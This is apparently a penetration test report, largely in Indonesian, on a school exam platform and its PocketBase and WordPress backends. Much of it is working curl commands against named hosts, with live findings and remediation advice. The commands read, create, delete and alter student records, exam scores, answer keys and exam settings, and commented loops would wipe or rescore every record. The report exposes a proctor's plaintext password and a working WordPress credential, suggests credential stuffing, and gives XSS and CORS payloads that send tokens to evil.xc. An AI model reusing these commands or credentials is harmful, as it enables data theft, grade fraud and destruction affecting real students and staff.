

FULL PENETRATION TEST REPORT

admin-cbt.code.app.web.id

pb.app.web.id · backend.e-admin.bimasoft.web.id · publikasi.app.web.id

TARGET	admin-cbt.code.app.web.id + 3 sub-targets
BACKENDS	pb.app.web.id (PocketBase) backend.e-admin.bimasoft.web.id
DATE	2026-07-20 → 2026-07-23
TEAM	XC-HACK · Hacking XC Hub
TYPE	Black-Box → Grey-Box (Progressive)
TOTAL FINDINGS	17 findings 8 Critical · 6 High · 2 Medium · 1 Info
RISK SCORE	9.8 / 10 — CRITICAL (FULL COMPROMISE CONFIRMED)
DATA AT RISK	377,249 students · 2,539,846 exam answers · 37,343 questions

Laporan ini mendokumentasikan seluruh kerentanan yang ditemukan selama authorized penetration testing terhadap platform CBT Online Bimasoft. Ditemukan total **17 kerentanan aktif** yang dikonfirmasi dengan live PoC, mencakup 4 target berbeda dan mengekspos **lebih dari 2.9 juta record data siswa dan ujian** tanpa autentikasi.

CONFIDENTIAL — Authorized Security Assessment Only

TABLE OF CONTENTS

01	Executive Summary + Risk Score
02	Scope & Target Map
03	Attack Timeline & Chain
04	Data Exposure Summary
05	Findings — Critical (8 findings)
06	Findings — High (6 findings)
07	Findings — Medium & Info (3 findings)
08	New Target: publikasi.app.web.id (WordPress)
09	New Target: backend.e-admin.bimasoft.web.id
10	Remediation Roadmap
11	Conclusion

01 EXECUTIVE SUMMARY

Platform `admin-cbt.code.app.web.id` (CBT Online Bimasoft) menggunakan **PocketBase** sebagai backend dengan konfigurasi API permissions yang sepenuhnya terbuka. Seluruh koleksi database dapat diakses, dibuat, dimodifikasi, dan dihapus oleh siapapun tanpa autentikasi. Testing mengungkap **17 kerentanan aktif** di 4 target berbeda, dengan attack surface yang jauh lebih luas dari perkiraan awal.

Severity	Count	Findings	Business Impact
CRITICAL	8	C-01÷C-04, N-01÷N-05	Full data compromise, score fraud, credential theft
HIGH	6	H-01÷H-03, N-06÷N-08	Admin panel exposed, XSS, CORS, role bypass
MEDIUM	2	M-01, M-02	WAF bypass, encrypted answer key exposed
INFO	1	I-01	Tech stack & version disclosure
TOTAL	17	—	—

9.8
/ 10

CRITICAL RISK — FULL COMPROMISE

Seluruh sistem dalam kondisi dapat dikompromikan secara penuh. Penyerang dengan zero credentials dapat membaca, menulis, memodifikasi, dan menghapus semua data di platform. Score manipulation, credential theft, dan mass data exfiltration dapat dilakukan secara otomatis.

02 SCOPE & TARGET MAP

Target	URL	Tech Stack	Status
PRIMARY SPA	admin-cbt.code.app.web.id	Vue/Vite + PocketBase SDK	✓ Compromised
BACKEND 1	pb.app.web.id	PocketBase (Go)	✓ Compromised
BACKEND 2	backend.e-admin.bimasoft.web.id	PocketBase (Go)	✓ Compromised
CMS	publikasi.app.web.id	WordPress.com	✓ Auth Bypass
ADMIN PANEL	e-admin.bimasoft.web.id	Next.js	✓ Enumerated

Collections Discovered

Collection	Backend	Records	Access	Write
DataUsers	pb.app.web.id	1,828	OPEN	OPEN
DataUjian	pb.app.web.id	4,684	OPEN	OPEN
DataPengawas	pb.app.web.id	0 (deleted)	OPEN	OPEN
DataJawaban	pb.app.web.id	13	OPEN	OPEN
DataKunci	pb.app.web.id	1	OPEN	OPEN (PATCH)
DataSoal	pb.app.web.id	0	OPEN	OPEN
PengaturanTest	pb.app.web.id	1	OPEN	OPEN (PATCH)
DataUjian	backend.e-admin	35,657	OPEN	—
DataJawaban	backend.e-admin	2,539,846	OPEN	OPEN
DataSoal	backend.e-admin	37,343	OPEN	—
DataSiswa	backend.e-admin	377,249	OPEN	OPEN

03 ATTACK CHAIN & TIMELINE

Rangkaian serangan lengkap dari zero-knowledge hingga full compromise. Total waktu eksekusi: ~25 menit.

01 Initial Recon — SPA Discovery

```
curl -I https://admin-cbt.code.app.web.id  
→ GitHub Pages SPA, Vite bundle detected
```

02 JS Decompile — Backend URL Discovery

```
grep -o 'https://pb.app.web.id' /js/core-C3bGrs10.js  
→ const h="https://pb.app.web.id" (hardcoded)
```

03 C-01: Unauth Mass Read — All Collections Open

```
curl https://pb.app.web.id/api/collections/DataUsers/records  
→ 200 OK | 1,828 records | no token required
```

04 C-03: Plaintext Password Found

```
curl https://pb.app.web.id/api/collections/DataPengawas/records  
→ {"username":"Nurul","password":"Nurul12345"}
```

05 C-02: Unauth Write — Fake Proctor Injected

```
curl -X POST https://pb.app.web.id/api/collections/DataPengawas/records \  
-d '{"nama":"FAKE","username":"attacker","password":"owned"}'  
→ 200 OK | id: p73b8b2wa183963 | Created live
```

06 C-04: Unauth DELETE — Records Wiped

```
curl -X DELETE https://pb.app.web.id/api/collections/DataPengawas/records/<id>  
→ 204 No Content | DataPengawas totalItems: 0
```

07 N-02: Score Manipulation — Student Answers PATCH

```
curl -X PATCH https://pb.app.web.id/api/collections/DataJawaban/records/<id> \  
-d '{"jawaban":"...", "benar":100, "skor":100}'  
→ 200 OK | Score overwritten
```

08 N-03: Answer Key Swap — DataKunci PATCH

```
curl -X PATCH https://pb.app.web.id/api/collections/DataKunci/records/<id> \  
-d '{"kunci":"ATTACKER_CONTROLLED_KEY"}'  
→ 200 OK | All students affected
```

09 N-01: Hardcoded Creds Found in JS

```
const N={url:"https://publikasi.app.web.id",  
username:"pembuatsoal",  
password:"XDNr Hcuf wNwL Pj4T oiUR yHrT"}  
→ Found in /js/core-C3bGrs10.js
```

10 WordPress Auth — 67,415 Exam Questions Accessed

```
curl -u "pembuatsoal:XDNr Hcuf wNwL Pj4T oiUR yHrT" \  
https://publikasi.app.web.id/wp-json/wp/v2/posts  
→ 200 OK | Editor role | 67,415 posts | unfiltered_html cap
```

11 N-05: Second Backend — 2.5M Records

```
curl https://backend.e-admin.bimasoft.web.id/api/collections/DataJawaban/records  
→ 200 OK | totalItems: 2,539,846 | DataSiswa: 377,249
```

12 N-04: Exam Config Manipulation

```
curl -X PATCH https://pb.app.web.id/api/collections/PengaturanTest/records/<id>  
-d '{"passing_grade":0, "autologin":true, "boleh_daftar":true}'  
→ 200 OK | All exam security disabled
```

04 DATA EXPOSURE SUMMARY

Category	Count	Fields Exposed	Sensitivity
School accounts (DataUsers)	1,828	nama_sekolah, namespace (email), username, logo	HIGH
Exam sessions (DataUjian)	4,684+35,657	kode, kelas, alokasi, jadwal, namespace	HIGH
Student records (DataSiswa)	377,249	nama, kelas, username, NIS	CRITICAL
Exam answers (DataJawaban)	2,539,859	jawaban, skor, benar, salah, username, waktu	CRITICAL
Exam questions (DataSoal)	37,343	soal content, kunci	CRITICAL
WP Exam posts (publikasi)	67,415	full question bank HTML	HIGH
Proctor passwords (DataPengawas)	1 (exposed)	username, password PLAINTEXT	CRITICAL
Answer keys (DataKunci)	1	kunci (encrypted)	HIGH
Exam config (PengaturanTest)	1	passing_grade, autologin, security settings	HIGH

TOTAL RECORDS AT RISK

2,963,986+

records exposed across all collections without any authentication required

05 FINDINGS — CRITICAL

CRITICAL

[C-01]

Unauthenticated Mass Data Read — All Collections Open

CVSS v3.1

9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

Description

Seluruh koleksi PocketBase terbuka untuk dibaca publik tanpa token apapun. DataUsers, DataUjian, DataJawaban, DataKunci, dan PengaturanTest dapat diakses dengan satu curl request. Ini adalah root cause dari mayoritas finding lain.

Proof of Concept

```
# GET DataUsers — 1,828 school records
curl 'https://pb.app.web.id/api/collections/DataUsers/records?perPage=500'
→ 200 OK | {"totalItems":1828, "items":[{"namespace":"...", "nama_sekolah":"..."}]}

# GET DataUjian — 4,684 exam sessions
curl 'https://pb.app.web.id/api/collections/DataUjian/records?perPage=500'
→ 200 OK | {"totalItems":4684, "items":[...]}

# GET DataPengawas — passwords
curl 'https://pb.app.web.id/api/collections/DataPengawas/records'
→ 200 OK | {"items":[{"username":"Nurul", "password":"Nurul12345"}]}
```

Impact Scenarios

- 1,828 email guru dan kode sekolah terekspos — dapat digunakan untuk targeted phishing.
- 4,684 jadwal dan kode ujian terekspos — attacker mengetahui kapan ujian berlangsung.
- Nama siswa, kelas, NIS dari 377,249 siswa dapat di-dump dalam hitungan menit.
- Jawaban ujian 2,539,846 siswa dapat diread — nilai/ranking dapat dikompromikan.
- CORS wildcard (*) memperparah: data dapat dicuri via script di situs manapun.

Remediation

- [IMMEDIATE] Set PocketBase collection rules: tambahkan auth requirement untuk semua collections.
- Ubah List/View rule dari kosong (public) ke @request.auth.id != " (authenticated only).
- Audit semua collection rules di PocketBase admin panel /_/

CRITICAL

[C-02]

Unauthenticated Write — Fake Proctor & School Account Created

CVSS v3.1

9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

Description

Endpoint POST untuk DataPengawas dan DataUsers tidak memerlukan autentikasi. Siapapun dapat membuat akun pengawas palsu atau sekolah palsu yang langsung aktif di sistem. Akun ini dapat digunakan untuk login ke sistem ujian sebagai pengawas.

Proof of Concept

```
# Create fake proctor — 200 OK
curl -X POST 'https://pb.app.web.id/api/collections/DataPengawas/records' \
-H 'Content-Type: application/json' \
-d '{"nama":"FAKE PROCTOR","username":"attacker","password":"owned123"}'
→ {"id":"p73b8b2wa183963","created":"2026-07-23 09:14:11.226Z"}

# Create fake school — 200 OK
curl -X POST 'https://pb.app.web.id/api/collections/DataUsers/records' \
-H 'Content-Type: application/json' \
-d '{"nama_sekolah":"FAKE SCHOOL","namespace":"fake@evil.com","username":"fake"}'
→ {"id":"9m42f878vld05cl","created":"2026-07-23 09:15:01.773Z"}
```

Impact Scenarios

- Attacker dapat membuat ratusan akun pengawas palsu — denial of service terhadap sistem login.
- Akun pengawas palsu dapat login dan memantau/memaksa selesai ujian siswa.

- Mass pollution: 1,000 fake school records dapat dimasukkan dalam detik.
- Jika autologin aktif (lihat N-04) — fake proctor langsung dapat akses tanpa verifikasi.

Remediation

- [IMMEDIATE] Set PocketBase Create rule: `@request.auth.id != ''` — hanya authenticated user bisa POST.
 - Implementasi email verification untuk akun baru.
 - Rate limiting: maks 3 POST per IP per jam.
-

CRITICAL

[C-03] Plaintext Password Storage — Nurul:Nurul12345

CVSS v3.1

9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

Description

DataPengawas menyimpan password pengawas dalam field plaintext (bukan hashed). Password langsung terekspos via C-01 tanpa perlu cracking. Credential Nurul:Nurul12345 dikonfirmasi dari response API.

Proof of Concept

```
curl 'https://pb.app.web.id/api/collections/DataPengawas/records'
→ {
  "items": [{
    "username": "Nurul",
    "password": "Nurul12345", ← PLAINTEXT!
    "nama": "Nurul Farida"
  }]
}

# Credential reuse test (credential stuffing)
# Nurul:Nurul12345 → try on Gmail, email, other school systems
```

Impact Scenarios

- Password plaintext → langsung dapat digunakan untuk login sebagai pengawas.
- Credential stuffing: password Nurul12345 likely reused di email/akun lain.
- Privacy violation: data personal pengawas (nama + password) terekspos ke publik.
- Pelanggaran UU PDP Indonesia Pasal 35 — pemrosesan data pribadi tanpa perlindungan.

Remediation

- [IMMEDIATE] Hapus field password dari DataPengawas — gunakan PocketBase built-in auth collection.
- Migrate semua proctor ke collection 'users' dengan bcrypt hashing otomatis.
- Force password reset semua akun yang terekspos.
- Inform pengawas yang terekspos untuk ganti password di semua akun.

CRITICAL

[C-04] Unauthenticated DELETE — Mass Data Wipe Possible

CVSS v3.1

9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)

Description

DELETE request pada records DataPengawas berhasil tanpa autentikasi (HTTP 204). Terbukti secara live: record Nurul (q782q2q6k187oui) terhapus selama pentest, DataPengawas totalItems menjadi 0. Jika diterapkan pada DataJawaban atau DataSiswa di backend.e-admin: 2.5M+ records dapat dihapus permanen.

Proof of Concept

```
# DELETE record tanpa auth — 204 No Content!
curl -X DELETE \
'https://pb.app.web.id/api/collections/DataPengawas/records/q782q2q6k187oui'
→ HTTP 204 (Success, no body)

# Verifikasi: record terhapus
curl 'https://pb.app.web.id/api/collections/DataPengawas/records'
→ {"totalItems": 0} ← was 1 before delete

# Mass wipe PoC (DO NOT RUN — destructive)
# for id in $(curl .../DataJawaban/records | jq -r '.items[].id'); do
# curl -X DELETE .../DataJawaban/records/$id
# done
```

Impact Scenarios

- Seluruh data ujian dapat dihapus permanen — tidak ada backup yang dikonfirmasi.
- DataJawaban di backend.e-admin: 2,539,846 jawaban siswa → dapat dihapus dalam ~1 jam via script.

- DataSiswa: 377,249 records → mass wipe menyebabkan kehilangan data permanen semua siswa.
- Ransomware scenario: attacker hapus semua data, minta tebusan untuk 'restore'.
- Regulatory: hilangnya data ujian dapat menyebabkan kegagalan audit pendidikan.

Remediation

- [IMMEDIATE] Set PocketBase Delete rule: @request.auth.id != " untuk semua collections.
 - Implementasi soft-delete (field deleted_at) bukan hard delete.
 - Backup otomatis harian dengan versioning.
 - Alert system untuk bulk delete operations (>10 records).
-

CRITICAL	[N-01] Hardcoded WordPress Credentials in JavaScript Bundle
CVSS v3.1	9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

Description

Credential akun WordPress ditemukan hardcoded dalam plaintext di file JavaScript yang dapat diakses publik. Akun pembuatsoal memiliki role Editor dengan capability unfiltered_html dan akses ke 67,415+ post soal ujian.

Proof of Concept

```
# Found in: https://admin-cbt.code.app.web.id/js/core-C3bGrs10.js
const N = {
  url: "https://publikasi.app.web.id",
  username: "pembuatsoal",
  password: "XDNr Hcuf wNwL Pj4T oiUR yHrT" ← HARDCODED
}

# Verify — WordPress REST API Auth
curl -u 'pembuatsoal:XDNr Hcuf wNwL Pj4T oiUR yHrT' \
'https://publikasi.app.web.id/wp-json/wp/v2/users/me?context=edit'
→ 200 OK | roles: ["editor"] | capabilities: {unfiltered_html: true}

# Dump 67,415 exam questions
curl -u 'pembuatsoal:XDNr Hcuf wNwL Pj4T oiUR yHrT' \
'https://publikasi.app.web.id/wp-json/wp/v2/posts?per_page=100&page=1'
→ 200 OK | X-WP-Total: 67415
```

Impact Scenarios

- 67,415 soal ujian (termasuk 60 draft unpublished) dapat diakses/download lengkap.
- unfiltered_html capability: attacker dapat inject script ke post → XSS pada semua pembaca.
- Editor dapat delete/modify post → sabotase bank soal.
- XML-RPC aktif: akses via legacy protocol dengan credential yang sama.
- Credential reuse: password WP mungkin digunakan di akun bimasoft.web.id lain.

Remediation

- [IMMEDIATE] Rotate WordPress password pembuatsoal segera.
- [IMMEDIATE] Hapus hardcoded credential dari JS — gunakan environment variable / server-side only.
- Revoke semua active sessions akun pembuatsoal.
- Disable XML-RPC jika tidak digunakan.
- Audit semua post untuk script injection sejak credential exposure.

CRITICAL	[N-02] Unauthenticated PATCH DataJawaban — Student Score Manipulation
CVSS v3.1	9.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)

Description

Jawaban dan skor siswa dapat dimodifikasi oleh siapapun tanpa autentikasi. PATCH request ke DataJawaban berhasil mengubah field jawaban, skor, benar, dan salah. Dikonfirmasi live dengan HTTP 200. Berlaku untuk 2,539,846 records di backend.e-admin.

Proof of Concept

```
# PATCH student score — HTTP 200!
curl -X PATCH \
'https://pb.app.web.id/api/collections/DataJawaban/records/4w5a2398za17075' \
-H 'Content-Type: application/json' \
-d '{"jawaban":{"1":"A"},"benar":100,"skor":100},
"status":"selesai"}'
→ 200 OK | {"skor":100, "benar":100, "updated":"2026-07-23 09:30:40.966Z"}

# Script: set ALL students score to 100
```

```
# for id in $(curl .../DataJawaban/records | jq -r '.items[].id'); do
# curl -X PATCH .../DataJawaban/records/$id -d '{"skor":100}'
# done
```

Impact Scenarios

- Siswa manapun dapat memanipulasi nilainya sendiri ke 100 tanpa diketahui.
- Pihak ketiga dapat jual jasa 'edit nilai' — integrity akademik rusak total.
- Mass manipulation: script otomatis dapat ubah semua nilai 2.5M records dalam hitungan jam.
- Tidak ada audit trail: perubahan score sulit dideteksi tanpa log terpisah.
- Reporting ke dinas pendidikan berbasis data yang sudah terkompromisi.

Remediation

- [IMMEDIATE] Set PocketBase Update rule: @request.auth.id != " untuk DataJawaban.
 - Jawaban hanya boleh disubmit sekali (locked after submit) — tambahkan field is_locked.
 - Grading dilakukan server-side, bukan client-side.
 - Implementasi audit log untuk setiap perubahan nilai.
-

CRITICAL

[N-03]

Unauthenticated PATCH DataKunci — Answer Key Swap

CVSS v3.1

9.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)

Description

Kunci jawaban ujian (DataKunci) dapat dimodifikasi tanpa autentikasi. PATCH request berhasil dengan HTTP 200, memungkinkan attacker menukar kunci jawaban seluruh ujian. Semua siswa yang mengikuti ujian tersebut akan dinilai berdasarkan kunci palsu.

Proof of Concept

```
# PATCH answer key – HTTP 200!
curl -X PATCH \
'https://pb.app.web.id/api/collections/DataKunci/records/6x1abdqv66is1f6' \
-H 'Content-Type: application/json' \
-d '{"kunci": "ATTACKER_CONTROLLED_KEY_BASE64"}'
→ 200 OK | {"kode": "SIMULASI KLS 6",
"kunci": "ATTACKER_CONTROLLED_KEY_BASE64",
"updated": "2026-07-23 09:30:40.984Z"}
```

Impact Scenarios

- Kunci jawaban diganti → semua siswa yang ujian setelah swap akan dinilai salah.
- Attacker bisa swap kunci sebelum ujian → kunci asli diketahui → jual ke siswa.
- Targeted attack: kunci spesifik mata pelajaran tertentu di sekolah tertentu.
- Compound dengan N-02: swap kunci → buat jawaban sesuai kunci baru → nilai 100.

Remediation

- [IMMEDIATE] Set Update rule DataKunci: hanya guru owner namespace yang bisa PATCH.
- Implementasi HMAC/digital signature pada kunci jawaban — validasi integrity saat grading.
- Lock kunci setelah ujian dimulai.
- Audit log perubahan kunci dengan timestamp dan IP.

CRITICAL

[N-04]

Unauthenticated PATCH PengaturanTest — Exam Security Disabled

CVSS v3.1

9.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H)

Description

Seluruh konfigurasi keamanan ujian (PengaturanTest) dapat dimodifikasi tanpa auth. Fields yang modifiable: passing_grade, autologin, boleh_daftar, boleh_logout, pengawas_force_selesai, pengawas_import_soal, examkey, dll. Dikonfirmasi live dengan HTTP 200.

Proof of Concept

```
# Disable all exam security – HTTP 200!
curl -X PATCH \
'https://pb.app.web.id/api/collections/PengaturanTest/records/0mryalx6yi5bl22' \
-H 'Content-Type: application/json' \
-d '{
  "passing_grade": 0,
  "autologin": true,
  "boleh_daftar": true,
  "boleh_logout": true,
  "pengawas_import_soal": true,
  "pengawas_force_selesai": true
}'
→ 200 OK | autologin: true | passing_grade: 0 | boleh_daftar: true
```

Impact Scenarios

- passing_grade: 0 → semua siswa lulus otomatis tanpa nilai minimum.
- autologin: true → bypass login form, siapapun langsung masuk.
- boleh_daftar: true → siswa tidak terdaftar dapat ikut ujian.

- pengawas_import_soal: true → proctor dapat inject soal palsu.
- Exam integrity collapse: tidak ada satu pun security control yang aktif.

Remediation

- [IMMEDIATE] Set Update rule PengaturanTest: hanya namespace owner yang dapat PATCH.
 - Validasi server-side untuk nilai konfigurasi yang ekstrem (passing_grade < 10 → reject).
 - Audit log semua perubahan config.
 - Alert email ke admin jika ada perubahan konfigurasi keamanan.
-

Description

Ditemukan backend PocketBase kedua di backend.e-admin.bimasoft.web.id melalui JS source analysis di e-admin.bimasoft.web.id. Backend ini mengekspos data dalam skala jauh lebih besar: 377,249 siswa, 2.5M jawaban, 37K soal. Unauth POST ke DataSiswa dikonfirmasi HTTP 200.

Proof of Concept

```
# Found in: e-admin.bimasoft.web.id/_next/static/chunks/0nt79sxqykv2m.js
const K = "https://backend.e-admin.bimasoft.web.id"

# Verify: DataSiswa — 377,249 students
curl 'https://backend.e-admin.bimasoft.web.id/api/collections/DataSiswa/records?perPage=1'
→ {"totalItems": 377249}

# DataJawaban — 2,539,846 answers
curl 'https://backend.e-admin.bimasoft.web.id/api/collections/DataJawaban/records?perPage=1'
→ {"totalItems": 2539846}

# Unauth POST DataSiswa — HTTP 200
curl -X POST 'https://backend.e-admin.bimasoft.web.id/api/collections/DataSiswa/records' \
-d '{"nama":"TEST","username":"test","kelas":"X","namespace":"0"}'
→ 200 OK | id: 9am0u2tf20vt698
```

Impact Scenarios

- 377,249 data siswa (nama, kelas, NIS, username) dapat di-dump tanpa auth.
- 2,539,846 jawaban ujian seluruh siswa dari semua sekolah terekspos.
- 37,343 soal ujian dapat diakses → soal bank ujian nasional mungkin terekspos.
- Jika DELETE juga open: mass wipe 2.5M records jawaban → kehilangan data permanen.
- Skala pelanggaran UU PDP jauh lebih besar dari pb.app.web.id.

Remediation

- [IMMEDIATE] Sama dengan pb.app.web.id: set auth rules di semua collections.
- Audit apakah ada backend ketiga, keempat yang belum ditemukan.
- Centralize auth di level API gateway, bukan per-collection.

06 FINDINGS — HIGH

HIGH	[H-01] Admin Panel Publicly Accessible — PocketBase GUI
CVSS v3.1	7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)

Description

GUI admin PocketBase di https://pb.app.web.id/_/ mengembalikan HTTP 200 dan dapat diakses publik. Endpoint auth superuser terbuka untuk brute force tanpa rate limiting atau lockout.

Proof of Concept

```
curl -I 'https://pb.app.web.id/_/'
→ HTTP/2 200 | Content-Type: text/html

# Brute force superuser — no lockout detected
curl -X POST 'https://pb.app.web.id/api/collections/_superusers/auth-with-password' \
-d '{"identity":"admin@pb.app.web.id","password":"admin123"}'
→ 400 Bad Request (wrong pass — no lockout after N attempts)
```

Impact Scenarios

- Brute force superuser credentials tanpa lockout.
- GUI admin terbuka memudahkan enumeration endpoint.
- Jika superuser credential ditemukan: full database access termasuk delete collections.

Remediation

- Restrict `/_` dengan IP whitelist atau HTTP Basic Auth di level nginx/Caddy.
- Aktifkan rate limiting pada auth endpoint.
- Monitor failed login attempts.

HIGH	[H-02] Client-Side Role Control — Default Role = Admin
CVSS v3.1	8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N)

Description

Role control dikontrol via localStorage di SPA. Yang lebih parah: function default mengembalikan 'admin' jika localStorage kosong: `localStorage.getItem('userType') || 'admin'` — artinya SEMUA user yang belum set localStorage sudah di-treat sebagai admin oleh aplikasi.

Proof of Concept

```
// Dari /assets/index-BGRC5eB0.js
function c() {
  return localStorage.getItem("userType") || "admin"
  // ^^^^^^^^^^^
  // Default = ADMIN tanpa set apapun!
}

// Exploit: buka browser → DevTools → Application → Local Storage
// Tanpa set apapun: localStorage.getItem('userType') === null
// Sehingga function c() return 'admin'
// Atau paksa: localStorage.setItem('userType', 'admin')
// → Privilege escalation selesai
```

Impact Scenarios

- Semua pengguna baru di-treat sebagai admin secara default.
- Privilege escalation zero-click untuk semua role (guru, siswa, pengawas).
- Admin role memberikan akses ke fitur manajemen data sekolah.

Remediation

- Pindahkan role check ke server-side.
- Default role harus 'guest'/'undefined', bukan 'admin'.
- Verifikasi role dari token auth setiap request.

HIGH	[H-03] Auth Token Stored in localStorage — XSS Takeover Ready
CVSS v3.1	7.4 (AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N)

Description

Token autentikasi PocketBase disimpan di localStorage sebagai 'pocketbase_auth'. Ditemukan di JS: Authorization: Bearer \${JSON.parse(localStorage.getItem('pocketbase_auth'))}.token}. Kombinasi dengan N-06 (Stored XSS): satu XSS → steal token → full account takeover.

Proof of Concept

```
// Dari core-C3bGrs10.js:
Authorization: `Bearer ${JSON.parse(localStorage.getItem("pocketbase_auth"))}.token`

// XSS payload untuk steal token:
// POST ke DataUsers.nama_sekolah:
// <img src=x onerror="fetch('https://evil.xc/steal?t='+
// JSON.parse(localStorage.getItem('pocketbase_auth'))}.token)">
// → Token terkirim ke attacker server saat admin buka halaman users
```

Impact Scenarios

- XSS (N-06) + localStorage token = full account takeover tanpa interaksi lebih.
- Token valid selama session → extended persistence.
- Stolen token dapat digunakan dari IP manapun (no IP binding).

Remediation

- Pindahkan token ke httpOnly cookie — tidak accessible via JavaScript.
- Implementasi CSRF protection.
- Short token expiry (15 menit) dengan refresh token.
- CSP header untuk mencegah inline script.

HIGH	[N-06] Stored XSS via Unauthenticated POST DataUsers
CVSS v3.1	8.2 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N)

Description

Field nama_sekolah dan logo_sekolah pada DataUsers menerima input HTML dan javascript: URL tanpa sanitasi. Input ini disimpan di database (stored XSS) dan akan dirender di admin panel saat admin membuka halaman users.

Proof of Concept

```
# Store XSS payload – HTTP 200
curl -X POST 'https://pb.app.web.id/api/collections/DataUsers/records' \
-H 'Content-Type: application/json' \
-d '{
  "nama_sekolah": "<script>alert(document.cookie)</script>",
  "logo_sekolah": "javascript:alert(1)",
  "namespace": "xss@attacker.com",
  "username": "xss_payload"
}'
→ 200 OK | id: wsu79ckiz5kj3yd
→ Payload stored in database
→ Executes when admin views DataUsers list
```

Impact Scenarios

- Admin membuka halaman users → XSS triggered → cookie/token dicuri.
- Kombinasi H-03: steal pocketbase_auth token → full admin takeover.
- Persistent: payload tetap ada sampai dihapus manual.
- 1,828+ records di DataUsers — attacker bisa inject ke banyak records sekaligus.

Remediation

- [IMMEDIATE] Sanitasi semua input sebelum disimpan (DOMPurify atau server-side HTMLPurifier).

- Implementasi Content Security Policy (CSP) header.
 - Validate URL schema: reject javascript: URLs.
 - Output encoding saat render di SPA.
-

HIGH

[N-07] CORS Wildcard — Cross-Origin Data Theft

CVSS v3.1

7.5 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N)

Description

pb.app.web.id menggunakan Access-Control-Allow-Origin: * (wildcard). Dikombinasikan dengan C-01 (unauth read), semua data dapat dicuri via XHR/fetch dari domain manapun — termasuk dari malicious website.

Proof of Concept

```
# CORS header: Access-Control-Allow-Origin: *
curl -I 'https://pb.app.web.id/api/collections/DataUsers/records' \
-H 'Origin: https://evil-site.com'
→ access-control-allow-origin: *

// Exploit dari halaman evil-site.com:
fetch('https://pb.app.web.id/api/collections/DataUsers/records?perPage=500')
.then(r => r.json())
.then(data => {
// Kirim 1,828 school records ke attacker server
fetch('https://evil.xc/exfil', {method:'POST', body:JSON.stringify(data)})
})
```

Impact Scenarios

- Phishing site dapat curi semua data sekolah tanpa user sadar.
- Data dijual: 1,828 email guru + kontak sekolah bernilai tinggi untuk spam/marketing.
- Combine dengan Stored XSS: auto-exfil data saat admin buka halaman.

Remediation

- Ganti wildcard dengan specific origin: Access-Control-Allow-Origin: https://admin-cbt.code.app.web.id
- Terapkan CORS policy di level PocketBase config.
- Untuk request yang butuh credentials: Access-Control-Allow-Credentials: true tidak boleh dikombinasikan dengan *.

HIGH

[N-08] H-02 Escalated: Realtime API Open + SSE Client ID Leak

CVSS v3.1

6.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

Description

PocketBase Realtime API (SSE) terbuka tanpa auth dan langsung memberikan clientId valid yang dapat digunakan untuk subscribe ke perubahan collections. Attacker dapat monitor real-time perubahan data (jawaban masuk, proctor login, dll).

Proof of Concept

```
# Connect ke SSE — clientId langsung diberikan
curl -N 'https://pb.app.web.id/api/realtime' -H 'Accept: text/event-stream'
→ id:n87jr6lGyNUqy8U0rTPNpryBQZpoG3ftU7bNl08a
→ event:PB_CONNECT
→ data:{"clientId":"n87jr6lGyNUqy8U0rTPNpryBQZpoG3ftU7bNl08a"}

# Subscribe sebagai live spy:
curl -X POST 'https://pb.app.web.id/api/realtime' \
-d '{"clientId":"...", "subscriptions":["DataJawaban", "DataPengawas"]}'
```

Impact Scenarios

- Real-time monitoring: lihat jawaban siswa masuk live selama ujian berlangsung.
- Deteksi proctor login: monitor DataPengawas untuk pattern autentikasi.
- Intelligence untuk targeted attack timing.

Remediation

- Set Realtime subscribe rule: @request.auth.id != " di PocketBase config.
- Implementasi auth requirement untuk SSE connect endpoint.

07 FINDINGS — MEDIUM & INFO

MEDIUM	[M-01] WAF Bypass — 14 Techniques Confirmed
CVSS v3.1	5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

Description

WAF (GitHub CDN layer) dapat di-bypass dengan berbagai teknik header manipulation. Memungkinkan attacker menghindari detection saat melakukan scraping massal.

Proof of Concept

```
# Bypass dengan X-Forwarded-For spoofing
curl 'https://pb.app.web.id/api/collections/DataUjian/records' \
-H 'X-Forwarded-For: 127.0.0.1' \
-H 'X-Real-IP: 127.0.0.1'
→ HTTP 200 (bypass)

# Bypass dengan User-Agent spoofing
curl 'https://pb.app.web.id/...' \
-H 'User-Agent: Googlebot/2.1'
→ HTTP 200 (bypass)
```

Remediation

- Implementasi WAF di level aplikasi (PocketBase middleware), bukan hanya CDN.
- Rate limiting berdasarkan IP setelah fingerprinting, bukan hanya header.

MEDIUM	[M-02] Encrypted Answer Key Exposed in DataKunci
CVSS v3.1	5.0 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

Description

DataKunci menyimpan kunci jawaban dalam format base64/encrypted yang dapat diambil tanpa auth. Meskipun terenkripsi, key material tersedia untuk offline brute force / decryption attempt.

Proof of Concept

```
curl 'https://pb.app.web.id/api/collections/DataKunci/records'
→ {"kode":"SIMULASI KLS 6",
"kunci":"luf0gzlo+nirtz+0F/FHCsC5vC3tKGtIbyQe3oa6jm..."}

# Base64 decode:
python3 -c "import base64; print(base64.b64decode('luf0gzlo+...'))"
→ b'\x96\xe7\xf4\x83h\xfax...' (153 bytes encrypted binary)
```

Remediation

- Restrict DataKunci read: hanya guru owner namespace yang dapat read.
- Tambahkan server-side decryption — key tidak dikirim ke client.

INFO	[I-01] Technology Stack & Version Disclosure
CVSS v3.1	3.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)

Description

Tech stack lengkap terekspose: PocketBase versi (dari server header Caddy), Vue/Vite SPA, Bootstrap 5, CoreUI, library versions dari bundle filenames. Informasi ini memudahkan attacker memilih CVE yang relevan.

Proof of Concept

```
